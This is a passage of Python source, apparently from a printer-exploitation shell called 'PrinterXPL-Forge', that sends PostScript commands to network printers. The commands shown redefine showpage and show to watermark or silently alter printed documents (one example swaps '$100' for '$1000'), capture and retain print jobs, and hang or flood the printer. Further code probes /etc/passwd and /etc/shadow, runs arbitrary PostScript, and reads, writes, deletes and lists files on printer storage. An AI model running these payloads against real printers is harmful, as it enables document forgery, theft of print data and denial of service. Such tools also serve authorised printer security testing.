output().errmsg("Usage: cross <text>")
|
|
622
|
+
return
|
|
623
|
+
|
|
624
|
+
self.cmd(f"""
|
|
625
|
+
/showpage {{
|
|
626
|
+
gsave
|
|
627
|
+
/Helvetica findfont 20 scalefont setfont
|
|
628
|
+
100 700 moveto
|
|
629
|
+
({arg}) show
|
|
630
|
+
grestore
|
|
631
|
+
showpage
|
|
632
|
+
}} bind def
|
|
633
|
+
""")
|
|
634
|
+
output().message(f"Text '{arg}' will be added to all printed pages")
|
|
635
|
+
|
|
636
|
+
def help_cross(self):
|
|
637
|
+
"""Show help for cross command"""
|
|
638
|
+
print()
|
|
639
|
+
print("cross - Add text watermark to all prints")
|
|
640
|
+
print("=" * 60)
|
|
641
|
+
print("DESCRIPTION:")
|
|
642
|
+
print(" Adds text graffiti/watermark to all subsequent printed pages.")
|
|
643
|
+
print()
|
|
644
|
+
print("USAGE:")
|
|
645
|
+
print(" cross <text>")
|
|
646
|
+
print()
|
|
647
|
+
print("EXAMPLES:")
|
|
648
|
+
print(" cross CONFIDENTIAL # Add CONFIDENTIAL watermark")
|
|
649
|
+
print(" cross 'SAMPLE - NOT FOR DISTRIBUTION'")
|
|
650
|
+
print()
|
|
651
|
+
|
|
652
|
+
def do_replace(self, arg):
|
|
653
|
+
"Replace string in all documents"
|
|
654
|
+
if not arg:
|
|
655
|
+
output().errmsg("Usage: replace <old> <new>")
|
|
656
|
+
return
|
|
657
|
+
|
|
658
|
+
parts = arg.split(None, 1)
|
|
659
|
+
if len(parts) != 2:
|
|
660
|
+
output().errmsg("Usage: replace <old> <new>")
|
|
661
|
+
return
|
|
662
|
+
|
|
663
|
+
old, new = parts
|
|
664
|
+
self.cmd(f"""
|
|
665
|
+
/show {{
|
|
666
|
+
dup ({old}) search {{
|
|
667
|
+
pop pop ({new}) show
|
|
668
|
+
}} {{
|
|
669
|
+
show
|
|
670
|
+
}} ifelse
|
|
671
|
+
}} bind def
|
|
672
|
+
""")
|
|
673
|
+
output().message(f"Will replace '{old}' with '{new}' in all documents")
|
|
674
|
+
|
|
675
|
+
def help_replace(self):
|
|
676
|
+
"""Show help for replace command"""
|
|
677
|
+
print()
|
|
678
|
+
print("replace - Replace string in printed documents")
|
|
679
|
+
print("=" * 60)
|
|
680
|
+
print("DESCRIPTION:")
|
|
681
|
+
print(" Replaces all occurrences of a string in documents being printed.")
|
|
682
|
+
print()
|
|
683
|
+
print("USAGE:")
|
|
684
|
+
print(" replace <old> <new>")
|
|
685
|
+
print()
|
|
686
|
+
print("EXAMPLES:")
|
|
687
|
+
print(" replace Public Confidential")
|
|
688
|
+
print(" replace $100 $1000")
|
|
689
|
+
print()
|
|
690
|
+
|
|
691
|
+
def do_capture(self, *arg):
|
|
692
|
+
"Capture print jobs to file"
|
|
693
|
+
output().message("Enabling print job capture...")
|
|
694
|
+
self.cmd("""
|
|
695
|
+
/showpage {
|
|
696
|
+
currentpagedevice /OutputFile (%stdout) (w) file put
|
|
697
|
+
setpagedevice
|
|
698
|
+
} bind def
|
|
699
|
+
""")
|
|
700
|
+
output().message("Print jobs will be captured")
|
|
701
|
+
|
|
702
|
+
def help_capture(self):
|
|
703
|
+
"""Show help for capture command"""
|
|
704
|
+
print()
|
|
705
|
+
print("capture - Capture print jobs")
|
|
706
|
+
print("=" * 60)
|
|
707
|
+
print("DESCRIPTION:")
|
|
708
|
+
print(" Redirects print output to capture print jobs.")
|
|
709
|
+
print()
|
|
710
|
+
print("USAGE:")
|
|
711
|
+
print(" capture")
|
|
712
|
+
print()
|
|
713
|
+
|
|
714
|
+
def do_hold(self, *arg):
|
|
715
|
+
"Enable job retention"
|
|
716
|
+
self.cmd("true 0 startjob { /JobRetention true def } stopped pop")
|
|
717
|
+
output().message("Job retention enabled")
|
|
718
|
+
|
|
719
|
+
# --------------------------------------------------------------------
|
|
720
|
+
# 🔍 INFORMATION GATHERING
|
|
721
|
+
# --------------------------------------------------------------------
|
|
722
|
+
|
|
723
|
+
def do_dicts(self, *arg):
|
|
724
|
+
"List all dictionaries and their permissions"
|
|
725
|
+
result = self.cmd("""
|
|
726
|
+
currentdict { pop = } forall
|
|
727
|
+
""")
|
|
728
|
+
if result:
|
|
729
|
+
print("Dictionaries:")
|
|
730
|
+
print(result)
|
|
731
|
+
|
|
732
|
+
def help_dicts(self):
|
|
733
|
+
"""Show help for dicts command"""
|
|
734
|
+
print()
|
|
735
|
+
print("dicts - List all dictionaries")
|
|
736
|
+
print("=" * 60)
|
|
737
|
+
print("DESCRIPTION:")
|
|
738
|
+
print(" Lists all available dictionaries in the PostScript environment.")
|
|
739
|
+
print()
|
|
740
|
+
print("USAGE:")
|
|
741
|
+
print(" dicts")
|
|
742
|
+
print()
|
|
743
|
+
|
|
744
|
+
def do_dump(self, arg):
|
|
745
|
+
"Dump dictionary contents"
|
|
746
|
+
dict_name = arg or "systemdict"
|
|
747
|
+
result = self.cmd(f"""
|
|
748
|
+
{dict_name} {{
|
|
749
|
+
dup type /nametype eq {{
|
|
750
|
+
dup = = cvs print ( ) print
|
|
751
|
+
}} if
|
|
752
|
+
pop
|
|
753
|
+
}} forall
|
|
754
|
+
""")
|
|
755
|
+
if result:
|
|
756
|
+
print(f"Contents of {dict_name}:")
|
|
757
|
+
print(result)
|
|
758
|
+
|
|
759
|
+
def help_dump(self):
|
|
760
|
+
"""Show help for dump command"""
|
|
761
|
+
print()
|
|
762
|
+
print("dump - Dump dictionary contents")
|
|
763
|
+
print("=" * 60)
|
|
764
|
+
print("DESCRIPTION:")
|
|
765
|
+
print(" Dumps the contents of a PostScript dictionary.")
|
|
766
|
+
print()
|
|
767
|
+
print("USAGE:")
|
|
768
|
+
print(" dump [dict_name]")
|
|
769
|
+
print()
|
|
770
|
+
print("EXAMPLES:")
|
|
771
|
+
print(" dump systemdict # Dump system dictionary")
|
|
772
|
+
print(" dump statusdict # Dump status dictionary")
|
|
773
|
+
print(" dump userdict # Dump user dictionary")
|
|
774
|
+
print()
|
|
775
|
+
|
|
776
|
+
def do_known(self, arg):
|
|
777
|
+
"Test if PostScript operator is supported"
|
|
778
|
+
if not arg:
|
|
779
|
+
output().errmsg("Usage: known <operator>")
|
|
780
|
+
return
|
|
781
|
+
|
|
782
|
+
result = self.cmd(f"""
|
|
783
|
+
/{arg} where {{
|
|
784
|
+
pop (Operator '{arg}' is SUPPORTED) print
|
|
785
|
+
}} {{
|
|
786
|
+
(Operator '{arg}' is NOT supported) print
|
|
787
|
+
}} ifelse
|
|
788
|
+
""")
|
|
789
|
+
if result:
|
|
790
|
+
print(result)
|
|
791
|
+
|
|
792
|
+
def help_known(self):
|
|
793
|
+
"""Show help for known command"""
|
|
794
|
+
print()
|
|
795
|
+
print("known - Test if PostScript operator is supported")
|
|
796
|
+
print("=" * 60)
|
|
797
|
+
print("DESCRIPTION:")
|
|
798
|
+
print(" Checks if a specific PostScript operator is available.")
|
|
799
|
+
print()
|
|
800
|
+
print("USAGE:")
|
|
801
|
+
print(" known <operator>")
|
|
802
|
+
print()
|
|
803
|
+
print("EXAMPLES:")
|
|
804
|
+
print(" known file # Test if 'file' operator exists")
|
|
805
|
+
print(" known deletefile # Test if 'deletefile' exists")
|
|
806
|
+
print()
|
|
807
|
+
|
|
808
|
+
def do_search(self, arg):
|
|
809
|
+
"Search all dictionaries for key"
|
|
810
|
+
if not arg:
|
|
811
|
+
output().errmsg("Usage: search <key>")
|
|
812
|
+
return
|
|
813
|
+
|
|
814
|
+
result = self.cmd(f"""
|
|
815
|
+
/{arg} where {{
|
|
816
|
+
(Found in dictionary) print
|
|
817
|
+
pop pop
|
|
818
|
+
}} {{
|
|
819
|
+
(Not found) print
|
|
820
|
+
}} ifelse
|
|
821
|
+
""")
|
|
822
|
+
if result:
|
|
823
|
+
print(result)
|
|
824
|
+
|
|
825
|
+
def do_enumerate_operators(self, *arg):
|
|
826
|
+
"Enumerate supported PostScript operators"
|
|
827
|
+
print("Enumerating PostScript Operators...")
|
|
828
|
+
print("=" * 60)
|
|
829
|
+
|
|
830
|
+
for category, ops in self.ops.oplist.items():
|
|
831
|
+
print(f"\n{category}")
|
|
832
|
+
print("-" * 60)
|
|
833
|
+
supported = []
|
|
834
|
+
for op in ops:
|
|
835
|
+
# Test if operator is known
|
|
836
|
+
result = self.cmd(f"/{op} where {{ pop (1) }} {{ (0) }} ifelse print", wait=True)
|
|
837
|
+
if result and '1' in result:
|
|
838
|
+
supported.append(op)
|
|
839
|
+
|
|
840
|
+
if supported:
|
|
841
|
+
print(f"Supported ({len(supported)}/{len(ops)}): {', '.join(supported)}")
|
|
842
|
+
else:
|
|
843
|
+
print("None supported")
|
|
844
|
+
|
|
845
|
+
def help_enumerate_operators(self):
|
|
846
|
+
"""Show help for enumerate_operators command"""
|
|
847
|
+
print()
|
|
848
|
+
print("enumerate_operators - Test all PostScript operators")
|
|
849
|
+
print("=" * 60)
|
|
850
|
+
print("DESCRIPTION:")
|
|
851
|
+
print(" Tests all 400+ PostScript operators from the operators database")
|
|
852
|
+
print(" to determine which are supported by this printer.")
|
|
853
|
+
print()
|
|
854
|
+
print("USAGE:")
|
|
855
|
+
print(" enumerate_operators")
|
|
856
|
+
print()
|
|
857
|
+
print("NOTES:")
|
|
858
|
+
print(" - Tests 16 operator categories")
|
|
859
|
+
print(" - May take several minutes")
|
|
860
|
+
print(" - Useful for vulnerability assessment")
|
|
861
|
+
print()
|
|
862
|
+
|
|
863
|
+
# --------------------------------------------------------------------
|
|
864
|
+
# 🎨 CONFIGURATION AND MANIPULATION
|
|
865
|
+
# --------------------------------------------------------------------
|
|
866
|
+
|
|
867
|
+
def do_config(self, arg):
|
|
868
|
+
"Change printer settings"
|
|
869
|
+
if not arg:
|
|
870
|
+
print("Available configurations:")
|
|
871
|
+
print(" duplex - Set duplex printing")
|
|
872
|
+
print(" copies <n> - Set number of copies")
|
|
873
|
+
print(" economode - Set economic mode")
|
|
874
|
+
print(" negative - Set negative print")
|
|
875
|
+
print(" mirror - Set mirror inversion")
|
|
876
|
+
return
|
|
877
|
+
|
|
878
|
+
if arg == "duplex":
|
|
879
|
+
self.cmd("<</Duplex true>> setpagedevice")
|
|
880
|
+
elif arg.startswith("copies "):
|
|
881
|
+
num = arg.split()[1]
|
|
882
|
+
self.cmd(f"<</NumCopies {num}>> setpagedevice")
|
|
883
|
+
elif arg == "economode":
|
|
884
|
+
self.cmd("<</EconoMode true>> setpagedevice")
|
|
885
|
+
elif arg == "negative":
|
|
886
|
+
self.cmd("-1 1 scale")
|
|
887
|
+
elif arg == "mirror":
|
|
888
|
+
self.cmd("1 -1 scale")
|
|
889
|
+
|
|
890
|
+
output().message(f"Configuration '{arg}' applied")
|
|
891
|
+
|
|
892
|
+
def help_config(self):
|
|
893
|
+
"""Show help for config command"""
|
|
894
|
+
print()
|
|
895
|
+
print("config - Change printer settings")
|
|
896
|
+
print("=" * 60)
|
|
897
|
+
print("DESCRIPTION:")
|
|
898
|
+
print(" Modifies various printer settings via setpagedevice.")
|
|
899
|
+
print()
|
|
900
|
+
print("USAGE:")
|
|
901
|
+
print(" config <setting>")
|
|
902
|
+
print()
|
|
903
|
+
print("SETTINGS:")
|
|
904
|
+
print(" duplex - Enable duplex printing")
|
|
905
|
+
print(" copies <n> - Set number of copies")
|
|
906
|
+
print(" economode - Enable toner saving")
|
|
907
|
+
print(" negative - Invert colors")
|
|
908
|
+
print(" mirror - Mirror image")
|
|
909
|
+
print()
|
|
910
|
+
|
|
911
|
+
def do_pagecount(self, *arg):
|
|
912
|
+
"Show printer's page counter"
|
|
913
|
+
result = self.cmd("statusdict /pagecount get exec print")
|
|
914
|
+
if result:
|
|
915
|
+
print(f"Page Count: {result.strip()}")
|
|
916
|
+
|
|
917
|
+
def help_pagecount(self):
|
|
918
|
+
"""Show help for pagecount command"""
|
|
919
|
+
print()
|
|
920
|
+
print("pagecount - Show page counter")
|
|
921
|
+
print("=" * 60)
|
|
922
|
+
print("DESCRIPTION:")
|
|
923
|
+
print(" Displays the total number of pages printed by the device.")
|
|
924
|
+
print()
|
|
925
|
+
print("USAGE:")
|
|
926
|
+
print(" pagecount")
|
|
927
|
+
print()
|
|
928
|
+
|
|
929
|
+
# --------------------------------------------------------------------
|
|
930
|
+
# 🧪 PAYLOADS
|
|
931
|
+
# --------------------------------------------------------------------
|
|
932
|
+
|
|
933
|
+
def do_payload(self, arg):
|
|
934
|
+
"Execute PostScript payload"
|
|
935
|
+
if not arg:
|
|
936
|
+
print("Available payloads:")
|
|
937
|
+
print(" banner <text> - Print banner with text")
|
|
938
|
+
print(" loop - Infinite loop (hangs printer)")
|
|
939
|
+
print(" erase - Erase page")
|
|
940
|
+
print(" storm - Print storm (many pages)")
|
|
941
|
+
return
|
|
942
|
+
|
|
943
|
+
parts = arg.split(None, 1)
|
|
944
|
+
payload_name = parts[0]
|
|
945
|
+
payload_arg = parts[1] if len(parts) > 1 else ""
|
|
946
|
+
|
|
947
|
+
if payload_name == "banner":
|
|
948
|
+
text = payload_arg or "PrinterXPL-Forge"
|
|
949
|
+
self.cmd(f"""
|
|
950
|
+
/Helvetica findfont 16 scalefont setfont
|
|
951
|
+
100 700 moveto
|
|
952
|
+
({text}) show
|
|
953
|
+
showpage
|
|
954
|
+
""")
|
|
955
|
+
elif payload_name == "loop":
|
|
956
|
+
self.do_hang("")
|
|
957
|
+
elif payload_name == "erase":
|
|
958
|
+
self.cmd("initgraphics erasepage showpage")
|
|
959
|
+
elif payload_name == "storm":
|
|
960
|
+
count = payload_arg or "100"
|
|
961
|
+
self.cmd(f"""
|
|
962
|
+
/Helvetica findfont 20 scalefont setfont
|
|
963
|
+
0 1 {count} {{
|
|
964
|
+
dup 20 mul 100 moveto
|
|
965
|
+
(PrinterXPL-Forge STORM) show
|
|
966
|
+
showpage
|
|
967
|
+
}} for
|
|
968
|
+
""")
|
|
969
|
+
|
|
970
|
+
output().message(f"Payload '{payload_name}' executed")
|
|
971
|
+
|
|
972
|
+
def help_payload(self):
|
|
973
|
+
"""Show help for payload command"""
|
|
974
|
+
print()
|
|
975
|
+
print("payload - Execute PostScript payloads")
|
|
976
|
+
print("=" * 60)
|
|
977
|
+
print("DESCRIPTION:")
|
|
978
|
+
print(" Executes pre-built PostScript attack payloads.")
|
|
979
|
+
print()
|
|
980
|
+
print("USAGE:")
|
|
981
|
+
print(" payload <name> [args]")
|
|
982
|
+
print()
|
|
983
|
+
print("PAYLOADS:")
|
|
984
|
+
print(" banner <text> - Print banner page")
|
|
985
|
+
print(" loop - Infinite loop (DoS)")
|
|
986
|
+
print(" erase - Erase current page")
|
|
987
|
+
print(" storm [count] - Print storm attack")
|
|
988
|
+
print()
|
|
989
|
+
|
|
990
|
+
# --------------------------------------------------------------------
|
|
991
|
+
# 🔬 ADVANCED TESTING
|
|
992
|
+
# --------------------------------------------------------------------
|
|
993
|
+
|
|
994
|
+
def do_test_file_access(self, *arg):
|
|
995
|
+
"Test file system access capabilities"
|
|
996
|
+
print("Testing PostScript File System Access...")
|
|
997
|
+
print("=" * 60)
|
|
998
|
+
|
|
999
|
+
tests = [
|
|
1000
|
+
("/etc/passwd", "System password file"),
|
|
1001
|
+
("/etc/shadow", "Shadow password file"),
|
|
1002
|
+
("(%disk0%)*", "Disk0 files"),
|
|
1003
|
+
("(%statementstatus%)", "Statement status"),
|
|
1004
|
+
]
|
|
1005
|
+
|
|
1006
|
+
for path, desc in tests:
|
|
1007
|
+
result = self.cmd(f"""
|
|
1008
|
+
({path}) (r) file {{
|
|
1009
|
+
(ACCESSIBLE: {desc}) print
|
|
1010
|
+
closefile
|
|
1011
|
+
}} {{
|
|
1012
|
+
(DENIED: {desc}) print
|
|
1013
|
+
}} ifelse
|
|
1014
|
+
""")
|
|
1015
|
+
if result:
|
|
1016
|
+
print(result)
|
|
1017
|
+
|
|
1018
|
+
def help_test_file_access(self):
|
|
1019
|
+
"""Show help for test_file_access command"""
|
|
1020
|
+
print()
|
|
1021
|
+
print("test_file_access - Test filesystem access")
|
|
1022
|
+
print("=" * 60)
|
|
1023
|
+
print("DESCRIPTION:")
|
|
1024
|
+
print(" Tests access to various sensitive files and locations.")
|
|
1025
|
+
print()
|
|
1026
|
+
print("USAGE:")
|
|
1027
|
+
print(" test_file_access")
|
|
1028
|
+
print()
|
|
1029
|
+
|
|
1030
|
+
def do_exec_ps(self, arg):
|
|
1031
|
+
"Execute arbitrary PostScript code"
|
|
1032
|
+
if not arg:
|
|
1033
|
+
output().errmsg("Usage: exec_ps <postscript code>")
|
|
1034
|
+
return
|
|
1035
|
+
|
|
1036
|
+
result = self.cmd(arg)
|
|
1037
|
+
if result:
|
|
1038
|
+
print("Output:")
|
|
1039
|
+
print(result)
|
|
1040
|
+
|
|
1041
|
+
def help_exec_ps(self):
|
|
1042
|
+
"""Show help for exec_ps command"""
|
|
1043
|
+
print()
|
|
1044
|
+
print("exec_ps - Execute arbitrary PostScript code")
|
|
1045
|
+
print("=" * 60)
|
|
1046
|
+
print("DESCRIPTION:")
|
|
1047
|
+
print(" Sends raw PostScript code directly to the printer.")
|
|
1048
|
+
print()
|
|
1049
|
+
print("USAGE:")
|
|
1050
|
+
print(" exec_ps <postscript_code>")
|
|
1051
|
+
print()
|
|
1052
|
+
print("EXAMPLES:")
|
|
1053
|
+
print(" exec_ps (Hello World) print")
|
|
1054
|
+
print(" exec_ps statusdict /product get =")
|
|
1055
|
+
print()
|
|
1056
|
+
print("NOTES:")
|
|
1057
|
+
print(" - Requires PostScript knowledge")
|
|
1058
|
+
print(" - No validation performed")
|
|
1059
|
+
print(" - May crash printer if invalid")
|
|
1060
|
+
print()
|
|
1061
|
+
|
|
1062
|
+
# Implement standard file operations
|
|
1063
|
+
def get(self, path):
|
|
1064
|
+
"""Internal method to get file"""
|
|
1065
|
+
result = self.cmd(f"({path}) (r) file dup 4096 string readstring pop print closefile")
|
|
1066
|
+
if result:
|
|
1067
|
+
return (len(result), result.encode())
|
|
1068
|
+
return c.NONEXISTENT
|
|
1069
|
+
|
|
1070
|
+
def put(self, path, data):
|
|
1071
|
+
"""Internal method to put file"""
|
|
1072
|
+
escaped = data.decode('latin-1', errors='ignore').replace('\\', '\\\\').replace('(', '\\(').replace(')', '\\)')
|
|
1073
|
+
self.cmd(f"({path}) (w) file ({escaped}) writestring closefile")
|
|
1074
|
+
return len(data)
|
|
1075
|
+
|
|
1076
|
+
def delete(self, path):
|
|
1077
|
+
"""Internal method to delete file"""
|
|
1078
|
+
self.cmd(f"({path}) deletefile")
|
|
1079
|
+
return True
|
|
1080
|
+
|
|
1081
|
+
# File system traversal support
|
|
1082
|
+
def dirlist(self, path="", r=False, l=False):
|
|
1083
|
+
"""List directory contents"""
|
|
1084
|
+
search_path = path or "(%disk0%)*"
|
|
1085
|
+
result = self.cmd(f"""
|
|
1086
|
+
({search_path}) {{
|
|
1087
|
+
dup print (\\n) print
|
|
1088
|
+
}} 100 string filenameforall
|
|
1089
|
+
""")
|
|
1090
|
+
return result if result else ""
|
|
1091
|
+
|
|
1092
|
+
def fswalk(self, path, cmd_type="find"):
|
|
1093
|
+
"""Walk filesystem"""
|
|
1094
|
+
listing = self.dirlist(path)
|
|
1095
|
+
if listing:
|
|
1096
|
+
for line in listing.split('\n'):
|
|
1097
|
+
if line.strip():
|
|
1098
|
+
if cmd_type == "find":
|
|
1099
|
+
print(line.strip())
|
|
1100
|
+
elif cmd_type == "mirror":
|
|
1101
|
+
self.mirror(line.strip(), 0)
|
|
1102
|
+
|